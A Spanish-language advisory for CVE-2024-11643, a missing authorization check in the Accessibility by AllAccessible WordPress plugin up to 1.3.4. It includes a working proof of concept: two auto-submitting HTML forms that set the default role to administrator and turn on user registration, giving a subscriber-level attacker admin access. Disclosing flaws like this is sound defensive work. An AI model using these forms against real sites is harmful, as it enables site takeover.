CVE-2024-11643

Accesibilidad por AllAccessible <= 1.3.4 - Falta de autorización para actualización arbitraria de opciones por parte de usuarios autenticados (Suscriptor+)

Descripción

El plugin Accessibility by AllAccessible para WordPress es vulnerable a la modificación no autorizada de datos que puede provocar una escalada de privilegios debido a una falta de verificación de capacidades en la función 'AllAccessible_save_settings' en todas las versiones hasta la 1.3.4 inclusive. Esto permite que atacantes autenticados, con acceso de nivel Suscriptor o superior, actualicen opciones arbitrarias en el sitio WordPress. Esto se puede aprovechar para actualizar el rol predeterminado de registro a administrador y habilitar el registro de usuarios para que los atacantes obtengan acceso administrativo a un sitio vulnerable.

Detalles

• Tipo: plugin
• Versión afectada: 1.3.4
• Puntuación CVSS: 8.8
• Clasificación CVSS: Alta
• Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-11643
• Estado: Activo

POC

Inicia sesión como suscriptor y luego usa estos formularios para establecer el rol predeterminado como administrador y luego el segundo para que los usuarios se registren.

Rol Administrador Predeterminado

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="default&#95;role" />
      <input type="hidden" name="opt&#95;value" value="administrator" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Los Usuarios Pueden Registrarse

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="users&#95;can&#95;register" />
      <input type="hidden" name="opt&#95;value" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>